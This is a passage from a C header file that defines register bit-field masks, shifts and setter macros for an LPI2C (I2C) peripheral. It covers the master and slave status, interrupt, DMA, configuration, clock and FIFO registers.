#define LPI2C_MSR_FEF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MSR_FEF_SHIFT)) & LPI2C_MSR_FEF_MASK)
#define LPI2C_MSR_PLTF_MASK (0x2000U)
#define LPI2C_MSR_PLTF_SHIFT (13U)
#define LPI2C_MSR_PLTF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MSR_PLTF_SHIFT)) & LPI2C_MSR_PLTF_MASK)
#define LPI2C_MSR_DMF_MASK (0x4000U)
#define LPI2C_MSR_DMF_SHIFT (14U)
#define LPI2C_MSR_DMF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MSR_DMF_SHIFT)) & LPI2C_MSR_DMF_MASK)
#define LPI2C_MSR_MBF_MASK (0x1000000U)
#define LPI2C_MSR_MBF_SHIFT (24U)
#define LPI2C_MSR_MBF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MSR_MBF_SHIFT)) & LPI2C_MSR_MBF_MASK)
#define LPI2C_MSR_BBF_MASK (0x2000000U)
#define LPI2C_MSR_BBF_SHIFT (25U)
#define LPI2C_MSR_BBF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MSR_BBF_SHIFT)) & LPI2C_MSR_BBF_MASK)
/*! @name MIER - Master Interrupt Enable Register */
#define LPI2C_MIER_TDIE_MASK (0x1U)
#define LPI2C_MIER_TDIE_SHIFT (0U)
#define LPI2C_MIER_TDIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MIER_TDIE_SHIFT)) & LPI2C_MIER_TDIE_MASK)
#define LPI2C_MIER_RDIE_MASK (0x2U)
#define LPI2C_MIER_RDIE_SHIFT (1U)
#define LPI2C_MIER_RDIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MIER_RDIE_SHIFT)) & LPI2C_MIER_RDIE_MASK)
#define LPI2C_MIER_EPIE_MASK (0x100U)
#define LPI2C_MIER_EPIE_SHIFT (8U)
#define LPI2C_MIER_EPIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MIER_EPIE_SHIFT)) & LPI2C_MIER_EPIE_MASK)
#define LPI2C_MIER_SDIE_MASK (0x200U)
#define LPI2C_MIER_SDIE_SHIFT (9U)
#define LPI2C_MIER_SDIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MIER_SDIE_SHIFT)) & LPI2C_MIER_SDIE_MASK)
#define LPI2C_MIER_NDIE_MASK (0x400U)
#define LPI2C_MIER_NDIE_SHIFT (10U)
#define LPI2C_MIER_NDIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MIER_NDIE_SHIFT)) & LPI2C_MIER_NDIE_MASK)
#define LPI2C_MIER_ALIE_MASK (0x800U)
#define LPI2C_MIER_ALIE_SHIFT (11U)
#define LPI2C_MIER_ALIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MIER_ALIE_SHIFT)) & LPI2C_MIER_ALIE_MASK)
#define LPI2C_MIER_FEIE_MASK (0x1000U)
#define LPI2C_MIER_FEIE_SHIFT (12U)
#define LPI2C_MIER_FEIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MIER_FEIE_SHIFT)) & LPI2C_MIER_FEIE_MASK)
#define LPI2C_MIER_PLTIE_MASK (0x2000U)
#define LPI2C_MIER_PLTIE_SHIFT (13U)
#define LPI2C_MIER_PLTIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MIER_PLTIE_SHIFT)) & LPI2C_MIER_PLTIE_MASK)
#define LPI2C_MIER_DMIE_MASK (0x4000U)
#define LPI2C_MIER_DMIE_SHIFT (14U)
#define LPI2C_MIER_DMIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MIER_DMIE_SHIFT)) & LPI2C_MIER_DMIE_MASK)
/*! @name MDER - Master DMA Enable Register */
#define LPI2C_MDER_TDDE_MASK (0x1U)
#define LPI2C_MDER_TDDE_SHIFT (0U)
#define LPI2C_MDER_TDDE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MDER_TDDE_SHIFT)) & LPI2C_MDER_TDDE_MASK)
#define LPI2C_MDER_RDDE_MASK (0x2U)
#define LPI2C_MDER_RDDE_SHIFT (1U)
#define LPI2C_MDER_RDDE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MDER_RDDE_SHIFT)) & LPI2C_MDER_RDDE_MASK)
/*! @name MCFGR0 - Master Configuration Register 0 */
#define LPI2C_MCFGR0_HREN_MASK (0x1U)
#define LPI2C_MCFGR0_HREN_SHIFT (0U)
#define LPI2C_MCFGR0_HREN(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR0_HREN_SHIFT)) & LPI2C_MCFGR0_HREN_MASK)
#define LPI2C_MCFGR0_HRPOL_MASK (0x2U)
#define LPI2C_MCFGR0_HRPOL_SHIFT (1U)
#define LPI2C_MCFGR0_HRPOL(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR0_HRPOL_SHIFT)) & LPI2C_MCFGR0_HRPOL_MASK)
#define LPI2C_MCFGR0_HRSEL_MASK (0x4U)
#define LPI2C_MCFGR0_HRSEL_SHIFT (2U)
#define LPI2C_MCFGR0_HRSEL(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR0_HRSEL_SHIFT)) & LPI2C_MCFGR0_HRSEL_MASK)
#define LPI2C_MCFGR0_CIRFIFO_MASK (0x100U)
#define LPI2C_MCFGR0_CIRFIFO_SHIFT (8U)
#define LPI2C_MCFGR0_CIRFIFO(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR0_CIRFIFO_SHIFT)) & LPI2C_MCFGR0_CIRFIFO_MASK)
#define LPI2C_MCFGR0_RDMO_MASK (0x200U)
#define LPI2C_MCFGR0_RDMO_SHIFT (9U)
#define LPI2C_MCFGR0_RDMO(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR0_RDMO_SHIFT)) & LPI2C_MCFGR0_RDMO_MASK)
/*! @name MCFGR1 - Master Configuration Register 1 */
#define LPI2C_MCFGR1_PRESCALE_MASK (0x7U)
#define LPI2C_MCFGR1_PRESCALE_SHIFT (0U)
#define LPI2C_MCFGR1_PRESCALE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR1_PRESCALE_SHIFT)) & LPI2C_MCFGR1_PRESCALE_MASK)
#define LPI2C_MCFGR1_AUTOSTOP_MASK (0x100U)
#define LPI2C_MCFGR1_AUTOSTOP_SHIFT (8U)
#define LPI2C_MCFGR1_AUTOSTOP(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR1_AUTOSTOP_SHIFT)) & LPI2C_MCFGR1_AUTOSTOP_MASK)
#define LPI2C_MCFGR1_IGNACK_MASK (0x200U)
#define LPI2C_MCFGR1_IGNACK_SHIFT (9U)
#define LPI2C_MCFGR1_IGNACK(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR1_IGNACK_SHIFT)) & LPI2C_MCFGR1_IGNACK_MASK)
#define LPI2C_MCFGR1_TIMECFG_MASK (0x400U)
#define LPI2C_MCFGR1_TIMECFG_SHIFT (10U)
#define LPI2C_MCFGR1_TIMECFG(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR1_TIMECFG_SHIFT)) & LPI2C_MCFGR1_TIMECFG_MASK)
#define LPI2C_MCFGR1_MATCFG_MASK (0x70000U)
#define LPI2C_MCFGR1_MATCFG_SHIFT (16U)
#define LPI2C_MCFGR1_MATCFG(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR1_MATCFG_SHIFT)) & LPI2C_MCFGR1_MATCFG_MASK)
#define LPI2C_MCFGR1_PINCFG_MASK (0x7000000U)
#define LPI2C_MCFGR1_PINCFG_SHIFT (24U)
#define LPI2C_MCFGR1_PINCFG(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR1_PINCFG_SHIFT)) & LPI2C_MCFGR1_PINCFG_MASK)
/*! @name MCFGR2 - Master Configuration Register 2 */
#define LPI2C_MCFGR2_BUSIDLE_MASK (0xFFFU)
#define LPI2C_MCFGR2_BUSIDLE_SHIFT (0U)
#define LPI2C_MCFGR2_BUSIDLE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR2_BUSIDLE_SHIFT)) & LPI2C_MCFGR2_BUSIDLE_MASK)
#define LPI2C_MCFGR2_FILTSCL_MASK (0xF0000U)
#define LPI2C_MCFGR2_FILTSCL_SHIFT (16U)
#define LPI2C_MCFGR2_FILTSCL(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR2_FILTSCL_SHIFT)) & LPI2C_MCFGR2_FILTSCL_MASK)
#define LPI2C_MCFGR2_FILTSDA_MASK (0xF000000U)
#define LPI2C_MCFGR2_FILTSDA_SHIFT (24U)
#define LPI2C_MCFGR2_FILTSDA(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR2_FILTSDA_SHIFT)) & LPI2C_MCFGR2_FILTSDA_MASK)
/*! @name MCFGR3 - Master Configuration Register 3 */
#define LPI2C_MCFGR3_PINLOW_MASK (0xFFF00U)
#define LPI2C_MCFGR3_PINLOW_SHIFT (8U)
#define LPI2C_MCFGR3_PINLOW(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCFGR3_PINLOW_SHIFT)) & LPI2C_MCFGR3_PINLOW_MASK)
/*! @name MDMR - Master Data Match Register */
#define LPI2C_MDMR_MATCH0_MASK (0xFFU)
#define LPI2C_MDMR_MATCH0_SHIFT (0U)
#define LPI2C_MDMR_MATCH0(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MDMR_MATCH0_SHIFT)) & LPI2C_MDMR_MATCH0_MASK)
#define LPI2C_MDMR_MATCH1_MASK (0xFF0000U)
#define LPI2C_MDMR_MATCH1_SHIFT (16U)
#define LPI2C_MDMR_MATCH1(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MDMR_MATCH1_SHIFT)) & LPI2C_MDMR_MATCH1_MASK)
/*! @name MCCR0 - Master Clock Configuration Register 0 */
#define LPI2C_MCCR0_CLKLO_MASK (0x3FU)
#define LPI2C_MCCR0_CLKLO_SHIFT (0U)
#define LPI2C_MCCR0_CLKLO(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCCR0_CLKLO_SHIFT)) & LPI2C_MCCR0_CLKLO_MASK)
#define LPI2C_MCCR0_CLKHI_MASK (0x3F00U)
#define LPI2C_MCCR0_CLKHI_SHIFT (8U)
#define LPI2C_MCCR0_CLKHI(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCCR0_CLKHI_SHIFT)) & LPI2C_MCCR0_CLKHI_MASK)
#define LPI2C_MCCR0_SETHOLD_MASK (0x3F0000U)
#define LPI2C_MCCR0_SETHOLD_SHIFT (16U)
#define LPI2C_MCCR0_SETHOLD(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCCR0_SETHOLD_SHIFT)) & LPI2C_MCCR0_SETHOLD_MASK)
#define LPI2C_MCCR0_DATAVD_MASK (0x3F000000U)
#define LPI2C_MCCR0_DATAVD_SHIFT (24U)
#define LPI2C_MCCR0_DATAVD(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCCR0_DATAVD_SHIFT)) & LPI2C_MCCR0_DATAVD_MASK)
/*! @name MCCR1 - Master Clock Configuration Register 1 */
#define LPI2C_MCCR1_CLKLO_MASK (0x3FU)
#define LPI2C_MCCR1_CLKLO_SHIFT (0U)
#define LPI2C_MCCR1_CLKLO(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCCR1_CLKLO_SHIFT)) & LPI2C_MCCR1_CLKLO_MASK)
#define LPI2C_MCCR1_CLKHI_MASK (0x3F00U)
#define LPI2C_MCCR1_CLKHI_SHIFT (8U)
#define LPI2C_MCCR1_CLKHI(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCCR1_CLKHI_SHIFT)) & LPI2C_MCCR1_CLKHI_MASK)
#define LPI2C_MCCR1_SETHOLD_MASK (0x3F0000U)
#define LPI2C_MCCR1_SETHOLD_SHIFT (16U)
#define LPI2C_MCCR1_SETHOLD(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCCR1_SETHOLD_SHIFT)) & LPI2C_MCCR1_SETHOLD_MASK)
#define LPI2C_MCCR1_DATAVD_MASK (0x3F000000U)
#define LPI2C_MCCR1_DATAVD_SHIFT (24U)
#define LPI2C_MCCR1_DATAVD(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MCCR1_DATAVD_SHIFT)) & LPI2C_MCCR1_DATAVD_MASK)
/*! @name MFCR - Master FIFO Control Register */
#define LPI2C_MFCR_TXWATER_MASK (0xFFU)
#define LPI2C_MFCR_TXWATER_SHIFT (0U)
#define LPI2C_MFCR_TXWATER(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MFCR_TXWATER_SHIFT)) & LPI2C_MFCR_TXWATER_MASK)
#define LPI2C_MFCR_RXWATER_MASK (0xFF0000U)
#define LPI2C_MFCR_RXWATER_SHIFT (16U)
#define LPI2C_MFCR_RXWATER(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MFCR_RXWATER_SHIFT)) & LPI2C_MFCR_RXWATER_MASK)
/*! @name MFSR - Master FIFO Status Register */
#define LPI2C_MFSR_TXCOUNT_MASK (0xFFU)
#define LPI2C_MFSR_TXCOUNT_SHIFT (0U)
#define LPI2C_MFSR_TXCOUNT(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MFSR_TXCOUNT_SHIFT)) & LPI2C_MFSR_TXCOUNT_MASK)
#define LPI2C_MFSR_RXCOUNT_MASK (0xFF0000U)
#define LPI2C_MFSR_RXCOUNT_SHIFT (16U)
#define LPI2C_MFSR_RXCOUNT(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MFSR_RXCOUNT_SHIFT)) & LPI2C_MFSR_RXCOUNT_MASK)
/*! @name MTDR - Master Transmit Data Register */
#define LPI2C_MTDR_DATA_MASK (0xFFU)
#define LPI2C_MTDR_DATA_SHIFT (0U)
#define LPI2C_MTDR_DATA(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MTDR_DATA_SHIFT)) & LPI2C_MTDR_DATA_MASK)
#define LPI2C_MTDR_CMD_MASK (0x700U)
#define LPI2C_MTDR_CMD_SHIFT (8U)
#define LPI2C_MTDR_CMD(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MTDR_CMD_SHIFT)) & LPI2C_MTDR_CMD_MASK)
/*! @name MRDR - Master Receive Data Register */
#define LPI2C_MRDR_DATA_MASK (0xFFU)
#define LPI2C_MRDR_DATA_SHIFT (0U)
#define LPI2C_MRDR_DATA(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MRDR_DATA_SHIFT)) & LPI2C_MRDR_DATA_MASK)
#define LPI2C_MRDR_RXEMPTY_MASK (0x4000U)
#define LPI2C_MRDR_RXEMPTY_SHIFT (14U)
#define LPI2C_MRDR_RXEMPTY(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_MRDR_RXEMPTY_SHIFT)) & LPI2C_MRDR_RXEMPTY_MASK)
/*! @name SCR - Slave Control Register */
#define LPI2C_SCR_SEN_MASK (0x1U)
#define LPI2C_SCR_SEN_SHIFT (0U)
#define LPI2C_SCR_SEN(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCR_SEN_SHIFT)) & LPI2C_SCR_SEN_MASK)
#define LPI2C_SCR_RST_MASK (0x2U)
#define LPI2C_SCR_RST_SHIFT (1U)
#define LPI2C_SCR_RST(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCR_RST_SHIFT)) & LPI2C_SCR_RST_MASK)
#define LPI2C_SCR_FILTEN_MASK (0x10U)
#define LPI2C_SCR_FILTEN_SHIFT (4U)
#define LPI2C_SCR_FILTEN(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCR_FILTEN_SHIFT)) & LPI2C_SCR_FILTEN_MASK)
#define LPI2C_SCR_FILTDZ_MASK (0x20U)
#define LPI2C_SCR_FILTDZ_SHIFT (5U)
#define LPI2C_SCR_FILTDZ(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCR_FILTDZ_SHIFT)) & LPI2C_SCR_FILTDZ_MASK)
#define LPI2C_SCR_RTF_MASK (0x100U)
#define LPI2C_SCR_RTF_SHIFT (8U)
#define LPI2C_SCR_RTF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCR_RTF_SHIFT)) & LPI2C_SCR_RTF_MASK)
#define LPI2C_SCR_RRF_MASK (0x200U)
#define LPI2C_SCR_RRF_SHIFT (9U)
#define LPI2C_SCR_RRF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCR_RRF_SHIFT)) & LPI2C_SCR_RRF_MASK)
/*! @name SSR - Slave Status Register */
#define LPI2C_SSR_TDF_MASK (0x1U)
#define LPI2C_SSR_TDF_SHIFT (0U)
#define LPI2C_SSR_TDF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_TDF_SHIFT)) & LPI2C_SSR_TDF_MASK)
#define LPI2C_SSR_RDF_MASK (0x2U)
#define LPI2C_SSR_RDF_SHIFT (1U)
#define LPI2C_SSR_RDF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_RDF_SHIFT)) & LPI2C_SSR_RDF_MASK)
#define LPI2C_SSR_AVF_MASK (0x4U)
#define LPI2C_SSR_AVF_SHIFT (2U)
#define LPI2C_SSR_AVF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_AVF_SHIFT)) & LPI2C_SSR_AVF_MASK)
#define LPI2C_SSR_TAF_MASK (0x8U)
#define LPI2C_SSR_TAF_SHIFT (3U)
#define LPI2C_SSR_TAF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_TAF_SHIFT)) & LPI2C_SSR_TAF_MASK)
#define LPI2C_SSR_RSF_MASK (0x100U)
#define LPI2C_SSR_RSF_SHIFT (8U)
#define LPI2C_SSR_RSF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_RSF_SHIFT)) & LPI2C_SSR_RSF_MASK)
#define LPI2C_SSR_SDF_MASK (0x200U)
#define LPI2C_SSR_SDF_SHIFT (9U)
#define LPI2C_SSR_SDF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_SDF_SHIFT)) & LPI2C_SSR_SDF_MASK)
#define LPI2C_SSR_BEF_MASK (0x400U)
#define LPI2C_SSR_BEF_SHIFT (10U)
#define LPI2C_SSR_BEF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_BEF_SHIFT)) & LPI2C_SSR_BEF_MASK)
#define LPI2C_SSR_FEF_MASK (0x800U)
#define LPI2C_SSR_FEF_SHIFT (11U)
#define LPI2C_SSR_FEF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_FEF_SHIFT)) & LPI2C_SSR_FEF_MASK)
#define LPI2C_SSR_AM0F_MASK (0x1000U)
#define LPI2C_SSR_AM0F_SHIFT (12U)
#define LPI2C_SSR_AM0F(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_AM0F_SHIFT)) & LPI2C_SSR_AM0F_MASK)
#define LPI2C_SSR_AM1F_MASK (0x2000U)
#define LPI2C_SSR_AM1F_SHIFT (13U)
#define LPI2C_SSR_AM1F(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_AM1F_SHIFT)) & LPI2C_SSR_AM1F_MASK)
#define LPI2C_SSR_GCF_MASK (0x4000U)
#define LPI2C_SSR_GCF_SHIFT (14U)
#define LPI2C_SSR_GCF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_GCF_SHIFT)) & LPI2C_SSR_GCF_MASK)
#define LPI2C_SSR_SARF_MASK (0x8000U)
#define LPI2C_SSR_SARF_SHIFT (15U)
#define LPI2C_SSR_SARF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_SARF_SHIFT)) & LPI2C_SSR_SARF_MASK)
#define LPI2C_SSR_SBF_MASK (0x1000000U)
#define LPI2C_SSR_SBF_SHIFT (24U)
#define LPI2C_SSR_SBF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_SBF_SHIFT)) & LPI2C_SSR_SBF_MASK)
#define LPI2C_SSR_BBF_MASK (0x2000000U)
#define LPI2C_SSR_BBF_SHIFT (25U)
#define LPI2C_SSR_BBF(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SSR_BBF_SHIFT)) & LPI2C_SSR_BBF_MASK)
/*! @name SIER - Slave Interrupt Enable Register */
#define LPI2C_SIER_TDIE_MASK (0x1U)
#define LPI2C_SIER_TDIE_SHIFT (0U)
#define LPI2C_SIER_TDIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SIER_TDIE_SHIFT)) & LPI2C_SIER_TDIE_MASK)
#define LPI2C_SIER_RDIE_MASK (0x2U)
#define LPI2C_SIER_RDIE_SHIFT (1U)
#define LPI2C_SIER_RDIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SIER_RDIE_SHIFT)) & LPI2C_SIER_RDIE_MASK)
#define LPI2C_SIER_AVIE_MASK (0x4U)
#define LPI2C_SIER_AVIE_SHIFT (2U)
#define LPI2C_SIER_AVIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SIER_AVIE_SHIFT)) & LPI2C_SIER_AVIE_MASK)
#define LPI2C_SIER_TAIE_MASK (0x8U)
#define LPI2C_SIER_TAIE_SHIFT (3U)
#define LPI2C_SIER_TAIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SIER_TAIE_SHIFT)) & LPI2C_SIER_TAIE_MASK)
#define LPI2C_SIER_RSIE_MASK (0x100U)
#define LPI2C_SIER_RSIE_SHIFT (8U)
#define LPI2C_SIER_RSIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SIER_RSIE_SHIFT)) & LPI2C_SIER_RSIE_MASK)
#define LPI2C_SIER_SDIE_MASK (0x200U)
#define LPI2C_SIER_SDIE_SHIFT (9U)
#define LPI2C_SIER_SDIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SIER_SDIE_SHIFT)) & LPI2C_SIER_SDIE_MASK)
#define LPI2C_SIER_BEIE_MASK (0x400U)
#define LPI2C_SIER_BEIE_SHIFT (10U)
#define LPI2C_SIER_BEIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SIER_BEIE_SHIFT)) & LPI2C_SIER_BEIE_MASK)
#define LPI2C_SIER_FEIE_MASK (0x800U)
#define LPI2C_SIER_FEIE_SHIFT (11U)
#define LPI2C_SIER_FEIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SIER_FEIE_SHIFT)) & LPI2C_SIER_FEIE_MASK)
#define LPI2C_SIER_AM0IE_MASK (0x1000U)
#define LPI2C_SIER_AM0IE_SHIFT (12U)
#define LPI2C_SIER_AM0IE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SIER_AM0IE_SHIFT)) & LPI2C_SIER_AM0IE_MASK)
#define LPI2C_SIER_AM1F_MASK (0x2000U)
#define LPI2C_SIER_AM1F_SHIFT (13U)
#define LPI2C_SIER_AM1F(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SIER_AM1F_SHIFT)) & LPI2C_SIER_AM1F_MASK)
#define LPI2C_SIER_GCIE_MASK (0x4000U)
#define LPI2C_SIER_GCIE_SHIFT (14U)
#define LPI2C_SIER_GCIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SIER_GCIE_SHIFT)) & LPI2C_SIER_GCIE_MASK)
#define LPI2C_SIER_SARIE_MASK (0x8000U)
#define LPI2C_SIER_SARIE_SHIFT (15U)
#define LPI2C_SIER_SARIE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SIER_SARIE_SHIFT)) & LPI2C_SIER_SARIE_MASK)
/*! @name SDER - Slave DMA Enable Register */
#define LPI2C_SDER_TDDE_MASK (0x1U)
#define LPI2C_SDER_TDDE_SHIFT (0U)
#define LPI2C_SDER_TDDE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SDER_TDDE_SHIFT)) & LPI2C_SDER_TDDE_MASK)
#define LPI2C_SDER_RDDE_MASK (0x2U)
#define LPI2C_SDER_RDDE_SHIFT (1U)
#define LPI2C_SDER_RDDE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SDER_RDDE_SHIFT)) & LPI2C_SDER_RDDE_MASK)
#define LPI2C_SDER_AVDE_MASK (0x4U)
#define LPI2C_SDER_AVDE_SHIFT (2U)
#define LPI2C_SDER_AVDE(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SDER_AVDE_SHIFT)) & LPI2C_SDER_AVDE_MASK)
/*! @name SCFGR1 - Slave Configuration Register 1 */
#define LPI2C_SCFGR1_ADRSTALL_MASK (0x1U)
#define LPI2C_SCFGR1_ADRSTALL_SHIFT (0U)
#define LPI2C_SCFGR1_ADRSTALL(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR1_ADRSTALL_SHIFT)) & LPI2C_SCFGR1_ADRSTALL_MASK)
#define LPI2C_SCFGR1_RXSTALL_MASK (0x2U)
#define LPI2C_SCFGR1_RXSTALL_SHIFT (1U)
#define LPI2C_SCFGR1_RXSTALL(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR1_RXSTALL_SHIFT)) & LPI2C_SCFGR1_RXSTALL_MASK)
#define LPI2C_SCFGR1_TXDSTALL_MASK (0x4U)
#define LPI2C_SCFGR1_TXDSTALL_SHIFT (2U)
#define LPI2C_SCFGR1_TXDSTALL(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR1_TXDSTALL_SHIFT)) & LPI2C_SCFGR1_TXDSTALL_MASK)
#define LPI2C_SCFGR1_ACKSTALL_MASK (0x8U)
#define LPI2C_SCFGR1_ACKSTALL_SHIFT (3U)
#define LPI2C_SCFGR1_ACKSTALL(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR1_ACKSTALL_SHIFT)) & LPI2C_SCFGR1_ACKSTALL_MASK)
#define LPI2C_SCFGR1_GCEN_MASK (0x100U)
#define LPI2C_SCFGR1_GCEN_SHIFT (8U)
#define LPI2C_SCFGR1_GCEN(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR1_GCEN_SHIFT)) & LPI2C_SCFGR1_GCEN_MASK)
#define LPI2C_SCFGR1_SAEN_MASK (0x200U)
#define LPI2C_SCFGR1_SAEN_SHIFT (9U)
#define LPI2C_SCFGR1_SAEN(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR1_SAEN_SHIFT)) & LPI2C_SCFGR1_SAEN_MASK)
#define LPI2C_SCFGR1_TXCFG_MASK (0x400U)
#define LPI2C_SCFGR1_TXCFG_SHIFT (10U)
#define LPI2C_SCFGR1_TXCFG(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR1_TXCFG_SHIFT)) & LPI2C_SCFGR1_TXCFG_MASK)
#define LPI2C_SCFGR1_RXCFG_MASK (0x800U)
#define LPI2C_SCFGR1_RXCFG_SHIFT (11U)
#define LPI2C_SCFGR1_RXCFG(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR1_RXCFG_SHIFT)) & LPI2C_SCFGR1_RXCFG_MASK)
#define LPI2C_SCFGR1_IGNACK_MASK (0x1000U)
#define LPI2C_SCFGR1_IGNACK_SHIFT (12U)
#define LPI2C_SCFGR1_IGNACK(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR1_IGNACK_SHIFT)) & LPI2C_SCFGR1_IGNACK_MASK)
#define LPI2C_SCFGR1_HSMEN_MASK (0x2000U)
#define LPI2C_SCFGR1_HSMEN_SHIFT (13U)
#define LPI2C_SCFGR1_HSMEN(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR1_HSMEN_SHIFT)) & LPI2C_SCFGR1_HSMEN_MASK)
#define LPI2C_SCFGR1_ADDRCFG_MASK (0x70000U)
#define LPI2C_SCFGR1_ADDRCFG_SHIFT (16U)
#define LPI2C_SCFGR1_ADDRCFG(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR1_ADDRCFG_SHIFT)) & LPI2C_SCFGR1_ADDRCFG_MASK)
/*! @name SCFGR2 - Slave Configuration Register 2 */
#define LPI2C_SCFGR2_CLKHOLD_MASK (0xFU)
#define LPI2C_SCFGR2_CLKHOLD_SHIFT (0U)
#define LPI2C_SCFGR2_CLKHOLD(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR2_CLKHOLD_SHIFT)) & LPI2C_SCFGR2_CLKHOLD_MASK)
#define LPI2C_SCFGR2_DATAVD_MASK (0x3F00U)
#define LPI2C_SCFGR2_DATAVD_SHIFT (8U)
#define LPI2C_SCFGR2_DATAVD(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR2_DATAVD_SHIFT)) & LPI2C_SCFGR2_DATAVD_MASK)
#define LPI2C_SCFGR2_FILTSCL_MASK (0xF0000U)
#define LPI2C_SCFGR2_FILTSCL_SHIFT (16U)
#define LPI2C_SCFGR2_FILTSCL(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR2_FILTSCL_SHIFT)) & LPI2C_SCFGR2_FILTSCL_MASK)
#define LPI2C_SCFGR2_FILTSDA_MASK (0xF000000U)
#define LPI2C_SCFGR2_FILTSDA_SHIFT (24U)
#define LPI2C_SCFGR2_FILTSDA(x) (((uint32_t)(((uint32_t)(x)) << LPI2C_SCFGR2_FILTSDA_SHIFT)) & LPI2C_SCFGR2_FILTSDA_MASK)
/*! @name SAMR - Slave Address Match Register */
#define LPI2C_SAMR_ADDR0_MASK (0x7FEU)
#define LPI2C_SAMR_ADDR0_SHIFT (1U)
